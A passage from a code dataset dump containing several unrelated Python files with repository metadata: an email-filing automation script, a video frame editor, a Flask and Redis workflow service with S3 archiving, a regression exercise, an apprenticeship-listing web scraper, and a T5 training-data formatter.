has opened the existing account, they find they cannot progress i.e. not enough information,\n # they can type Follow Up in the Summary field and the email will be filed in * WEBSITE - FOLLOW UP\n short_note = self.driver.find_element_by_name(\"CRM_Short_Note\").get_attribute(\"value\").upper()\n if short_note == \"FOLLOW UP\":\n self.customer_code = \"FOLLOW UP\"\n self.email_type = \"Website: TCC to Follow Up\"\n\n return\n\n time.sleep(0.3)\n\n def driver_FollowUp(self):\n \"\"\"Assigns Follow Up values\"\"\"\n\n self.customer_code = \"FOLLOW UP\"\n self.email_type = \"Website: TCC to Follow Up\"\n\n ## PROCESS METHODS\n def process_data(self):\n \"\"\"Processes data into a .csv for use in Remedy and Reporting, \n and files the email. \"\"\"\n\n self.process_csv()\n self.process_email()\n\n def process_csv(self):\n \"\"\"Append to a .csv recording all DVS email actions.\"\"\"\n \n subject = self.email_data[0]\n name = self.email_data[3]\n email = self.email_data[10]\n phone = self.email_data[9]\n message = self.email_data[1]\n address = self.email_data[4]\n loaded_by = self.remedy_data[0]\n date = datetime.datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n\n csv = CSV(\"G:\\\\Customer Reporting\\\\438-DVS\\\\Automation\\\\Emails\\\\Reports\\\\\", \"email_reporting.csv\", \"a\",\n [\"Subject\", \"Customer Code\", \"Action\", \"Name\", \"Email\", \"Phone\", \"Address\", \"Message\", \"Date\", \"TCC Staff\"])\n\n csv.writerow([subject, self.customer_code, self.email_type, name, email, phone, address, message, date, loaded_by])\n\n def process_email(self):\n \"\"\"Files the email to the correct folder based on self.email_type.\"\"\"\n\n # if this is not a Follow Up, mark as complete and change the Subject to include the CC\n if self.email_type != \"Website: TCC to Follow Up\" :\n self.email.FlagRequest = \"Mark Complete\"\n if self.button_action != \"CC\" or self.customer_code in self.email.Subject:\n self.email.Subject = \"%s - %s\" % (self.customer_code, self.email.Subject)\n elif self.button_action == \"CC\":\n self.email.Subject = \"%s %s\" % (self.customer_code, self.email.Subject)\n # else, just move the email to the Follow Up folder\n else:\n self.email.Move(self.outlook.follow_up)\n self.close()\n\n # Files the email according to self.email_type\n if \"Sales Lead\" in self.email_type:\n self.email.Move(self.outlook.sales)\n elif \"Technical\" in self.email_type:\n self.email.Move(self.outlook.technical)\n elif \"Filter\" in self.email_type:\n self.email.Move(self.outlook.filters)\n elif \"Spare\" in self.email_type:\n self.email.Move(self.outlook.spare_parts)\n else:\n self.email.Move(self.outlook.general)\n\n ## CLOSE METHOD\n def close(self):\n \"\"\"Closes the browser, notepad, and ends the script - Only used with Follow Up\"\"\"\n\n self.driver.close()\n self.driver.quit()\n sys.exit(0)\n\n\n## ENGINE ##\n\nProject438ActionEmail()\n","repo_name":"Atheros13/tccProjects","sub_path":"tccProjects/438/main_action_email.py","file_name":"main_action_email.py","file_ext":"py","file_size_in_byte":18777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15630237519","text":"import numpy as np\nimport cv2\n\nclass VideoEditor:\n\tdef __init__(self, f):\n\t\tself.f = f\n\n\tdef process(self, in_path, out_path):\n\t\tstream = cv2.VideoCapture(in_path)\n\t\tfps = stream.get(cv2.CAP_PROP_FPS)\n\t\timg = None\n\t\twhile img is None:\n\t\t\tret, img = stream.read()\n\t\t\timg = self.f(img, 0)\n\t\tfourcc = cv2.VideoWriter_fourcc(*'MP4V')\n\t\tout = cv2.VideoWriter(out_path, fourcc, fps, (img.shape[1], img.shape[0]))\n\t\tframe_num = 0\n\t\twhile 1:\n\t\t\tret, img = stream.read()\n\t\t\tframe_num += 1\n\t\t\tif not ret or cv2.waitKey(25) & 0XFF == ord('q'):\n\t\t\t\tcv2.destroyAllWindows()\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\timg = self.f(img, frame_num)\n\t\t\t\tout.write(img)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mjdargen/playgrounds","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74968278807","text":"import os\nimport io\nimport json\nfrom uuid import uuid4\n\nfrom flask import Flask, request, jsonify, current_app, g\nfrom flasgger import Swagger, swag_from, validate\nimport yaml\nimport redis\nimport boto3\nfrom botocore.exceptions import ClientError\n\n# only needed for restarting\nfrom rqse import EventClient\n\nfrom littleflow_redis import load_workflow, compute_vector, trace_vector, workflow_state, delete_workflow, terminate_workflow, workflow_archive, restart_workflow, restore_workflow, run_workflow, get_failures, RedisOutputCache\nfrom littleflow import graph\n\nclass Config:\n WORKFLOWS_STREAM = 'workflows:run'\n WORKFLOWS_KEY = 'workflows:all'\n INPROGRESS_KEY = 'workflows:inprogress'\n\nservice = Flask('api')\nservice.config.from_object(Config())\n\nswag = Swagger(service)\n\nswag_def = \"\"\"\ndefinitions:\n WorkflowList:\n type: array\n items:\n type: string\n StatusResponse:\n type: object\n properties:\n message:\n type: string\n data:\n type: object\n status:\n $ref: '#/definitions/StatusCode'\n StatusCode:\n type: string\n enum: ['Error','Success','Unavailable']\n\"\"\"\ndefs = yaml.load(swag_def,Loader=yaml.Loader)\n\ndef get_pool():\n if 'pool' not in g:\n service_spec = current_app.config.get('REDIS_SERVICE')\n if service_spec is None:\n host = os.environ.get('REDIS_HOST','0.0.0.0')\n port = int(os.environ.get('REDIS_PORT',6379))\n else:\n host, _, port = service_spec.partition(':')\n if len(port)==0:\n port = 6379\n else:\n port = int(port)\n auth_spec = current_app.config.get('REDIS_AUTH')\n if auth_spec is None:\n username = os.environ.get('REDIS_USERNAME')\n password = os.environ.get('REDIS_PASSWORD')\n else:\n username, _, password = auth_spec.partition(':')\n if len(password)==0:\n password = username\n username = 'default'\n\n g.pool = redis.ConnectionPool(host=host,port=port,username=username,password=password)\n return g.pool\n\ndef get_redis():\n\n if 'redis' not in g:\n g.redis = redis.Redis(connection_pool=get_pool())\n\n return g.redis\n\ndef get_event_client():\n if 'event_client' not in g:\n g.event_client = EventClient(current_app.config['WORKFLOWS_STREAM'],pool=get_pool())\n return g.event_client\n\ndef message_response(status,message=None,data=None):\n msg = data.copy() if data is not None else {}\n msg['status'] = status\n if message is not None:\n msg['message'] = message\n return msg\n\ndef success(message=None,data=None):\n return message_response('Success',message=message,data=data)\n\ndef error(message=None,data=None):\n return message_response('Error',message=message,data=data)\n\ndef unavailable(message=None,data=None):\n return message_response('Unavailable',message=message,data=data)\n\ndef version_info():\n from littleflow import __version__ as lf_version\n from littleflow_redis import __version__ as redis_version\n info = {\n 'littleflow' : 'v' + '.'.join(map(str,lf_version)),\n 'littleflow_redis' : 'v' + '.'.join(map(str,redis_version)),\n }\n return info\n\n@service.route('/',methods=['GET'])\n@swag_from(defs)\ndef index():\n \"\"\"Returns the service status\n ---\n consumes: []\n produces:\n - application/json\n responses:\n 200:\n description: The version information\n default:\n description: An error\n schema:\n $ref: '#/definitions/StatusResponse'\n \"\"\"\n return jsonify(version_info())\n\n@service.route('/workflows',methods=['GET'])\n@swag_from(defs)\ndef workflows():\n \"\"\"Returns a list of currently cached workflows\n ---\n consumes: []\n produces:\n - application/json\n responses:\n 200:\n description: The service status.\n schema:\n $ref: '#/definitions/WorkflowList'\n default:\n description: An error\n schema:\n $ref: '#/definitions/StatusResponse'\n \"\"\"\n client = get_redis()\n start = int(request.args.get('next',0))\n size = int(request.args.get('size',50))\n items = client.lrange(current_app.config['WORKFLOWS_KEY'],start,start+size-1)\n convert = lambda x : {'id':x[9:],'state':workflow_state(client,x,default='UNKNOWN')}\n workflows = [convert(value.decode('UTF-8')) for value in items]\n response =jsonify(workflows)\n if len(items)==size:\n response.headers['Link'] = f'<{request.base_url}?next={start+size}>; rel=\"next\"'\n return response\n\n@service.route('/inprogress',methods=['GET'])\n@swag_from(defs)\ndef inprogress():\n \"\"\"Returns a list of currently cached workflows\n ---\n consumes: []\n produces:\n - application/json\n responses:\n 200:\n description: The service status.\n schema:\n $ref: '#/definitions/WorkflowList'\n default:\n description: An error\n schema:\n $ref: '#/definitions/StatusResponse'\n \"\"\"\n client = get_redis()\n items = client.smembers(current_app.config['INPROGRESS_KEY'])\n workflows = [value.decode('UTF-8')[9:] for value in items]\n return jsonify(workflows)\n\n@service.route('/workflows/',methods=['GET','DELETE'])\ndef get_workflow(workflow_id):\n \"\"\"Returns a workflow\n ---\n \"\"\"\n client = get_redis()\n key = 'workflow:'+workflow_id\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n if request.method=='DELETE':\n if client.sismember(current_app.config['INPROGRESS_KEY'],key)>0:\n return jsonify(error(f'Workflow {workflow_id} is running and cannot be deleted.')), 400\n delete_workflow(client,key,workflows_key=current_app.config['WORKFLOWS_KEY'])\n return jsonify(success(f'Workflow {workflow_id} has been deleted'))\n\n flow, repl = load_workflow(client,key,return_json=True)\n return jsonify(repl)\n\n@service.route('/workflows//terminate',methods=['POST'])\ndef terminate(workflow_id):\n event_client = get_event_client()\n key = 'workflow:'+workflow_id\n if event_client.connection.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n terminated = terminate_workflow(event_client,key,workflow_id,inprogress_key=current_app.config['INPROGRESS_KEY'])\n return jsonify(success(f'Workflow {workflow_id} is {\"terminated\" if terminated else \"terminating\"}'))\n\n@service.route('/workflows/terminate',methods=['POST'])\ndef terminate_request():\n workflow_id = request.json.get('workflow')\n return terminate(workflow_id)\n\n@service.route('/workflows//state',methods=['GET'])\ndef get_workflow_state(workflow_id):\n \"\"\"Returns a workflow state\n ---\n \"\"\"\n client = get_redis()\n key = 'workflow:'+workflow_id\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n\n state = workflow_state(client,key)\n if state is None:\n state = 'UKNOWN'\n S = compute_vector(client,key+':S')\n A = compute_vector(client,key+':A')\n failures = get_failures(client,key)\n data = {'state':state, 'S':S.flatten().tolist() if S is not None else [], 'A': A.flatten().tolist() if A is not None else []}\n if failures is not None:\n data['failures'] = failures.flatten().tolist()\n cache = RedisOutputCache(client,key)\n data['output'] = [cache.get(index,{}) for index in range(len(S))]\n\n return jsonify(data)\n\n@service.route('/workflows//trace/',methods=['GET'])\ndef get_workflow_trace(workflow_id,kind):\n \"\"\"Returns a workflow trace\n ---\n \"\"\"\n client = get_redis()\n key = 'workflow:'+workflow_id\n if kind not in ['A','S']:\n return error(f'Unrecognized trace {kind}'), 400\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n response = []\n for tstamp, value in trace_vector(client,key+':'+kind):\n response.append([tstamp.isoformat(),value.flatten().tolist()])\n return jsonify(response)\n\n@service.route('/workflows//graph',methods=['GET'])\ndef get_workflow_graph(workflow_id):\n client = get_redis()\n key = 'workflow:'+workflow_id\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n left_to_right = True\n if request.args.get('orientation','horizontal')=='vertical':\n left_to_right = False\n flow = load_workflow(client,key)\n output = io.StringIO()\n graph(flow,output,embed_docs=False,left_to_right=left_to_right)\n return output.getvalue(), 200, {'Content-Type':'text/plain; charset=UTF-8'}\n\n@service.route('/workflows//archive',methods=['GET','POST'])\ndef archive_workflow(workflow_id):\n client = get_redis()\n key = 'workflow:'+workflow_id\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n object = workflow_archive(client,key)\n\n if request.method=='GET':\n return jsonify(object), {'Content-Disposition': f'attachment; filename={workflow_id}.json;'}\n\n data = request.json\n bucket = data.get('bucket')\n uri = data.get('uri')\n if uri is not None:\n if not uri.startswith('s3://'):\n return error('Malformed s3 uri: '+uri), 400\n uri = uri[5:]\n bucket, _, path = uri.partition('/')\n if len(path)==0:\n path = workflow_id + '.json'\n elif bucket is None:\n return error('The uri or bucket must be specified.'), 400\n else:\n path = workflow_id + '.json'\n\n repl = json.dumps(object)\n try:\n s3 = boto3.client('s3')\n s3.put_object(Bucket=bucket,Key=path,Body=repl.encode('UTF-8'))\n\n result_uri = f's3://{bucket}/{path}'\n\n response = jsonify(success('Archive created',{'uri':result_uri}))\n response.headers['Location'] = result_uri\n return response\n except ClientError as ex:\n return error('Error accessing bucket: '+str(ex)), 400\n\n@service.route('/workflows//restart',methods=['GET'])\ndef service_restart_workflow(workflow_id):\n client = get_redis()\n key = 'workflow:'+workflow_id\n if client.exists(key)==0:\n return error(f'Workflow {workflow_id} does not exist'), 404\n state = workflow_state(client,key)\n if state!='TERMINATED' and state!='FAILED':\n return error(f'Workflow {workflow_id} cannot be restarted from current state {state}'), 400\n\n started = restart_workflow(get_event_client(),key,key)\n\n if started:\n return success(f'Restarted workflow {workflow_id}')\n else:\n return error(f'Restarting workflow {workflow_id} had no tasks to resume'), 400\n\n@service.route('/workflows/restore',methods=['GET','POST'])\ndef restore_workflow_from_archive():\n if request.method=='GET':\n workflow_id = request.args.get('workflow')\n uri = request.args.get('uri')\n archive = None\n if uri is None:\n return error(f'The uri parameter is missing'), 400\n elif request.method=='POST':\n workflow_id = request.args.get('workflow')\n uri = request.json.get('uri')\n archive = request.json if uri is None else None\n\n if workflow_id is not None:\n if client.exists('workflow:'+key)==1:\n return error(f'Workflow {workflow_id} already exists'), 400\n else:\n workflow_id = str(uuid4())\n\n if uri is not None and not uri.startswith('s3://'):\n return error(f'Only S3 URIs are currently supported'), 400\n\n if uri is not None:\n try:\n bucket, _, path = uri[5:].partition('/')\n s3 = boto3.client('s3')\n obj = s3.get_object(Bucket=bucket, Key=path)\n try:\n archive = json.loads(obj['Body'].read())\n except IOError as ex:\n return error(f'Error reading archive: {ex}'), 400\n except ClientError as ex:\n return error(f'Error accessing bucket: {ex}'), 400\n\n # quick check of archive:\n if type(archive)!=dict:\n return error(f'Archive type is not an object: {type(dict)}'), 400\n\n for key in ['F','T','A','S']:\n if key not in archive:\n return error(f'Archive is missing key {key}'), 400\n\n key = 'workflow:'+workflow_id\n\n event_client = get_event_client()\n\n restore_workflow(event_client.connection,key,archive,workflows_key=current_app.config['WORKFLOWS_KEY'])\n\n return success(f'Workflow restored as {workflow_id}',{'workflow':workflow_id})\n\n@service.route('/workflows/start',methods=['POST'])\ndef start_workflow_post():\n if request.mimetype=='application/json':\n data = request.json\n workflow = data.get('workflow')\n input = data.get('input')\n else:\n workflow = request.data\n input = None\n\n if workflow is None or len(workflow)==0:\n return error(f'No workflow was provided'), 400\n\n event_client = get_event_client()\n try:\n workflow_id = run_workflow(workflow,event_client,input=input)\n return success(f'Workflow restored as {workflow_id}',{'workflow':workflow_id})\n except Exception as ex:\n return error(f'Cannot compile workflow due to: {ex}'), 400\n\n@service.route('/workflows/start/upload',methods=['POST'])\ndef start_workflow_upload():\n if 'workflow' not in request.files:\n return error('The workflow was not attached.'), 400\n file = request.files['workflow']\n workflow = file.read().decode('UTF-8')\n input = request.form.get('input')\n if input is not None:\n input = json.loads(input)\n event_client = get_event_client()\n try:\n workflow_id = run_workflow(workflow,event_client,input=input)\n _, _, workflow_id = workflow_id.partition(':')\n return success(f'Workflow restored as {workflow_id}',{'workflow':workflow_id})\n except Exception as ex:\n return error(f'Cannot compile workflow due to: {ex}'), 400\n","repo_name":"alexmilowski/littleflow","sub_path":"integrations/redis/littleflow_redis/service/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":13614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"28777026183","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: roik\r\n\"\"\"\r\n\r\n#data processing\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#importing the data set\r\ndataset = pd.read_csv('Position_Salaries.csv')\r\nx=dataset.iloc[:, 1:2].values\r\ny=dataset.iloc[:, 2].values\r\n\r\n\r\n#splitting the dataset into the Training set and Test set\r\n\"\"\"from sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(x,y, test_size=0.2, random_state=0)\"\"\"\r\n \r\n#feature scaling \r\n\"\"\"from sklearn.preprocessing import StandardScaler\r\nsc_x=StandardScaler()\r\nx_train=sc_x.fit_transform(x_train)\r\nx_test=sc_x.transform(x_test)\"\"\"\r\n\r\n\r\n#fitting linear regression to the dataset\r\nfrom sklearn.linear_model import LinearRegression\r\nlinear_regression=LinearRegression()\r\nlinear_regression.fit(x,y)\r\n\r\n#fitting polunomial regression to the dataset\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\npolynomial_regression=PolynomialFeatures(degree=5)\r\nx_poly=polynomial_regression.fit_transform(x)\r\nlinear_regression2=LinearRegression()\r\nlinear_regression2.fit(x_poly, y)\r\n\r\n\r\n#comparing the linear regression with the polynomial\r\n\r\n#visualising the linear regression results\r\nplt.scatter(x, y, color='red')\r\nplt.plot(x, linear_regression.predict(x), color='blue')\r\nplt.title('Truth or Bluff (linear regression)')\r\nplt.xlabel('Position level')\r\nplt.ylabel('Salary')\r\nprint(plt.show)\r\n\r\n\r\n#visualising the polynomial regression results\r\nx_grid=np.arange(min(x), max(x), 0.1)\r\nx_grid=x_grid.reshape((len(x_grid),1))\r\nplt.scatter(x, y, color='red')\r\nplt.plot(x_grid, linear_regression2.predict(polynomial_regression.fit_transform(x_grid)), color='blue')\r\nplt.title('Truth or Bluff (polynomial regression)')\r\nplt.xlabel('Position level')\r\nplt.ylabel('Salary')\r\nprint(plt.show)\r\n\r\n#predict new result with linear regression\r\nprint(linear_regression.predict([[6.5]]))\r\n\r\n#predict new result with polynomial regression\r\nlinear_regression2.predict(polynomial_regression.fit_transform([[6.5]]))","repo_name":"roeik7/machine-learning-polynomial-regression","sub_path":"my_polynomial_regression.py","file_name":"my_polynomial_regression.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22192882567","text":"from urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\nimport threading\nimport json\nimport pandas as pd\nfrom time import time\n\n\nstandards_url = \"https://www.instituteforapprenticeships.org/apprenticeship-standards/\"\napprenticeships_start_url = \"https://findapprenticeshiptraining.sfa.bis.gov.uk/Apprenticeship/SearchResults?page=\"\napprenticeships_end_url = \"&order=1\"\n\n\ndef get_soup(url):\n\t\"\"\"Return soup object of web page.\"\"\"\n\tuClient = uReq(url)\n\tpage_html = uClient.read()\n\tuClient.close()\n\tpage_soup = soup(page_html, \"html.parser\")\n\treturn page_soup\n\n\ndef list_to_json_file(list_to_save, file_name):\n\t\"\"\"Save list of elements to new-line delimited JSON file.\"\"\"\n\ttxt = \"\"\n\tfor element in list_to_save:\n\t\ttxt += json.dumps(element) + \"\\n\"\n\n\twith open(file_name, 'w') as f:\n\t\tf.write(txt)\n\n\ndef normalize_title(title):\n\t\"\"\"Remove elements of title that may interfere with matching the datasets. Reduces legibility.\"\"\"\n\ttitle = title.strip().lower().replace(' ', '').replace(':', '').replace(',', '')\n\treturn title\n\n#step_1a\n\ndef scrape_standards(url):\n\t\"\"\"Return apprenticeship standards.\"\"\"\n\tpage_soup = get_soup(url)\n\t#classes = ['standard approved', 'standard inDevelopment', 'standard decommissioned']\n\n\tstandards_soup = page_soup.findAll('div', {'class': 'standard approved'}) #Ignoring \"In development\" and \"Decommissioned\" standards.\n\n\tstandards = []\n\tfor standard in standards_soup:\n\t\tnew_std = {}\n\t\ttitle = normalize_title(standard.h3.text)\n\t\tnew_std['title'] = title\n\t\tlevel = standard.findAll('span', {'class': 'level'})[0].text.split(' ')[1]\n\t\tlevel = int(level)\n\t\tnew_std['level'] = level\n\t\tduration = standard.findAll('span', {'class': 'duration'})[0].text.split(' ')[0]\n\t\tduration = int(duration)\n\t\tnew_std['duration'] = duration\n\n\t\tmax_funding = standard.findAll('span', {'class': 'funding'})[0].text.split(' ')[-1][1:]\n\t\tmax_funding = int(max_funding)\n\t\tnew_std['max_funding'] = max_funding\n\n\t\tstandards.append(new_std)\n\n\treturn standards\n\n\n\n#step_1b\n\ndef get_nb_pages():\n\t\"\"\"Return number of pages in apprenticeship dataset.\"\"\"\n\turl = apprenticeships_start_url + \"1\" + apprenticeships_end_url\n\tpage_soup = get_soup(url)\n\tcounter_str = page_soup.findAll('span', {'class': 'counter'})[0].contents[0]\n\tnb_pages = int(counter_str.split(\" \")[-1])\n\n\treturn nb_pages\n\n\ndef scrape_apprenticeship_pages(urls):\n\t\"\"\"Return the list of apprenticeships with title, level and length on the url pages.\"\"\"\n\tapprenticeships = []\n\tfor url in urls:\n\t\tpage_soup = get_soup(url)\n\t\tapprenticeships_soup = page_soup.findAll('article')\n\n\t\tfor apprenticeship in apprenticeships_soup:\n\t\t\tnew_app = {}\n\t\t\ttitle = normalize_title(apprenticeship.findAll('a')[0].text)\n\t\t\tnew_app['title'] = title\n\t\t\tinfo = apprenticeship.findAll('dd')\n\t\t\tlevel_info = info[0].text.strip()\n\n\t\t\tlevel = int(level_info[0])\n\t\t\tlevel_detail = level_info[1:].strip()\n\t\t\tnew_app['level'] = level\n\t\t\tnew_app['level-detail'] = level_detail\n\t\t\tduration = int(info[1].text.split(' ')[0]) #In months\n\t\t\tnew_app['duration'] = duration\n\t\t\tapprenticeships.append(new_app)\n\n\treturn apprenticeships\n\n\ndef scrape_apprenticeships(pages_per_thread = 3):\n\t\"\"\"Return all apprenticeships on site.\"\"\"\n\n\tthreads = []\n\n\tnb_pages = get_nb_pages()\n\tall_urls = [apprenticeships_start_url + str(i) + apprenticeships_end_url for i in range(1, nb_pages+1)]\n\tnb_threads = int((len(all_urls)-1)/(pages_per_thread))+1\n\turls = [all_urls[i*pages_per_thread:i*pages_per_thread+pages_per_thread] for i in range(nb_threads)]\n\n\tfor i in range(len(urls)):\n\t\tnewThread = scrapingThread(i, urls[i])\n\t\tthreads.append(newThread)\n\n\tfor i in range(0, len(threads)):\n\t\tthreads[i].start()\n\n\tfor i in range(0, len(threads)): #Wait until threads finished executing\n\t\tthreads[i].join()\n\n\tall_apprenticeships = []\n\tfor thread in threads:\n\t\tall_apprenticeships += thread.apprenticeships\n\n\treturn all_apprenticeships\n\n\nclass scrapingThread (threading.Thread):\n\tdef __init__(self, thread_ID, urls):\n\t\tthreading.Thread.__init__(self)\n\t\tself.thread_ID = thread_ID\n\t\tself.urls = urls\n\t\tself.apprenticeships = []\n\tdef run(self):\n\t\tself.apprenticeships = scrape_apprenticeship_pages(self.urls)\n\n\ndef main():\n\t\"\"\"\n\t#Optimization test for pages_per_thread\n\tppts = [1, 2, 3, 4, 5, 6, 7, 10, 15, 20, 40]\n\tfor i in ppts:\n\t\tprint(\"ppt:\", i)\n\t\tnb_iter = 8\n\t\tt_tot = 0\n\t\tfor y in range(nb_iter):\n\t\t\ttStart = time()\n\t\t\tapprenticeships = scrape_apprenticeships(pages_per_thread = i)\n\t\t\tt_tot += time()-tStart\n\t\tprint(\"avg time:\", t_tot/nb_iter)\n\traise\n\t\"\"\"\n\n\tstandards = scrape_standards(standards_url)\n\tapprenticeships = scrape_apprenticeships()\n\t#print(len(standards))\n\t#print(len(apprenticeships))\n\tlist_to_json_file(standards, \"step_1a.json\")\n\tlist_to_json_file(apprenticeships, \"step_1b.json\")\n\n\n\t#step_2a\n\tdf_standards = pd.DataFrame(standards)\n\tdf_apprenticeships = pd.DataFrame(apprenticeships)\n\n\tdataset_match = pd.merge(df_standards, df_apprenticeships, on=['level', 'duration', 'title'], how='outer')\n\n\tlist_of_dataset = dataset_match.to_dict('records')\n\n\tlist_to_json_file(list_of_dataset, \"step_2a.json\")\n\n\t#step_2b ~~\n\t#Isuues:\n\t#-Not sure what the best way of deduplicating something like \"Furniture manufacturer\" and \"Furniture, Furnishings and Interiors Manufacturing: Wood Machining\" is.\n\t#-\"Youth Worker\" in the standards dataset is \"In development\", while \"Youth Work\" level 2 and 3 are both available in the other dataset.\n\t#-\"Baker\" exists in both datasets, but there is a mismatch in duration (12 and 18 months)\n\t#-Many apprenticeships exist with multiple levels and/or length.\n\n\tunmatched_apprenticeships = dataset_match.loc[dataset_match['max_funding'].isnull() & dataset_match['level-detail'].notna()]\n\tunmatched_standards = dataset_match.loc[dataset_match['max_funding'].notna() & dataset_match['level-detail'].isnull()]\n\n\t#step_3\n\tprint(\"Number of merged data points:\", len(standards) + len(apprenticeships) - len(dataset_match))\n\t\t# = len(pd.merge(df_standards, df_apprenticeships, on=['level', 'duration', 'title'], how='inner'))\n\tprint(\"Theoretical max merged data points without losing data:\", min(len(standards), len(apprenticeships)))\n\n\tprint(\"Unmatched apprenticeships:\", len(unmatched_apprenticeships), \"out of\", len(apprenticeships))\n\tprint(\"Unmatched apprenticeship standards:\", len(unmatched_standards), \"out of\", len(standards))\n\n\tunmatched_apprenticeships_no_duplicates = unmatched_apprenticeships.drop_duplicates(subset = ['title'])\n\tprint(len(unmatched_apprenticeships) - len(unmatched_apprenticeships_no_duplicates), \"apprenticeships are duplicates (same title but different level and/or duration)\")\n\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"samuel500/Technical-test","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70730575127","text":"import json\nimport random\nimport copy\nimport os\nimport spacy\nimport re\nfrom word2number import w2n\n\n\ndef get_no_tmp_phrase(srl_obj):\n skip_list = []\n for verbs in srl_obj['verbs']:\n for i, t in enumerate(verbs['tags']):\n if \"ARGM-TMP\" in t:\n skip_list.append(i)\n ret = \"\"\n for i, w in enumerate(srl_obj['words']):\n if i not in skip_list:\n ret += w + \" \"\n return ret.strip()\n\n\ndef get_nagate_label(l):\n if l == \"before\":\n return \"after\"\n return \"before\"\n\n\ndef cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\n\ndef format_train_roberta():\n #all_stories = [x.strip() for x in open(\"tmp_output.txt\").readlines()]\n #all_srl = [x.strip() for x in open(\"wikipedia_srl_parsed.txt\").readlines()]\n all_stories = []\n all_srl = []\n srl_map = {}\n f_out = open(\"t5_train_rep.txt\", \"w\")\n for srl in all_srl:\n obj = json.loads(srl)\n for sent in obj:\n key = \"\".join(sent['words']).lower().replace(\" \", \"\")\n srl_map[key] = sent\n\n for story in all_stories:\n all_sentences = []\n sentences = story.split(\"\\t\")\n if sentences[0].startswith(\"-----------\"):\n continue\n use_no_tmp_sentence = True\n if random.random() < 0.333:\n use_no_tmp_sentence = False\n for m, sentence in enumerate(sentences):\n sent_key = sentence.replace(\" \", \"\").lower()\n if sent_key not in srl_map:\n continue\n srl_obj = srl_map[sent_key]\n if use_no_tmp_sentence:\n new_sent = get_no_tmp_phrase(srl_obj)\n else:\n new_sent = sentence\n all_sentences.append(new_sent)\n\n order = list(range(0, len(all_sentences)))\n for i in range(0, 3):\n random.shuffle(order)\n if len(order) <= 3:\n continue\n story = [all_sentences[x] for x in order[0:-3]]\n if order[-3] < order[-2]:\n label_1 = \"before\"\n else:\n label_1 = \"after\"\n if order[-3] < order[-1]:\n label_2 = \"before\"\n else:\n label_2 = \"after\"\n final_label = \"PRETRAIN-{}\".format(len(story))\n story.append(all_sentences[order[-3]])\n story.append(\"starts \" + label_1 + \" \" + all_sentences[order[-2]])\n story.append(\"ends \" + label_2 + \" \" + all_sentences[order[-1]])\n story.append(final_label)\n f_out.write(\"\\t\".join(story) + \"\\n\")\n\n\ndef format_train_pairwise_roberta():\n all_stories = [x.strip() for x in open(\"train_before_after_wiki.txt\").readlines()] + [x.strip() for x in open(\"train_before_after_book.txt\").readlines()]\n f_out = open(\"t5_train_pairwise.txt\", \"w\")\n for line in all_stories:\n group = line.split(\"\\t\")\n if group[-1] == \"before\":\n first = group[0]\n second = group[1]\n else:\n first = group[1]\n second = group[0]\n if random.random() < 0.5:\n f = first\n s = second\n l = \"before\"\n else:\n f = second\n s = first\n l = \"after\"\n if random.random() < 0.5:\n left = \"event: \" + f + \" starts \" + l + \" \" + s\n out_label = \"answer: positive\"\n else:\n l = get_nagate_label(l)\n left = \"event: \" + f + \" starts \" + l + \" \" + s\n out_label = \"answer: negative\"\n f_out.write(left + \"\\t\" + out_label + \"\\n\")\n\n\ndef format_train_t5_paragraph():\n all_stories = [x.strip() for x in open(\"tmp_output.txt\").readlines()]\n all_srl = [x.strip() for x in open(\"wikipedia_srl_parsed.txt\").readlines()]\n srl_map = {}\n f_out = open(\"t5_wikiparagraph_rep_with_end.txt\", \"w\")\n for srl in all_srl:\n obj = json.loads(srl)\n for sent in obj:\n key = \"\".join(sent['words']).lower().replace(\" \", \"\")\n srl_map[key] = sent\n\n for story in all_stories:\n all_sentences = []\n sentences = story.split(\"\\t\")\n if sentences[0].startswith(\"-----------\"):\n continue\n use_no_tmp_sentence = True\n if random.random() < 0.333:\n use_no_tmp_sentence = False\n for m, sentence in enumerate(sentences):\n sent_key = sentence.replace(\" \", \"\").lower()\n if sent_key not in srl_map:\n continue\n srl_obj = srl_map[sent_key]\n if use_no_tmp_sentence:\n new_sent = get_no_tmp_phrase(srl_obj)\n else:\n new_sent = sentence\n all_sentences.append(new_sent)\n\n order = list(range(0, len(all_sentences)))\n if len(order) <= 3:\n continue\n for i in range(0, 5):\n random.shuffle(order)\n story = [\" \" + all_sentences[x] + \" \" for x in order[0:-2]]\n storyline = \"story: \" + \" \".join(story)\n if order[-2] < order[-1]:\n label = \"before\"\n else:\n label = \"after\"\n answer = \"answer: positive\"\n if random.random() < 0.5:\n if label == \"before\":\n label = \"after\"\n else:\n label = \"before\"\n answer = \"answer: negative\"\n se_label = \"starts\"\n if random.random() < 0.3:\n se_label = \"ends\"\n event = \"event: \" + 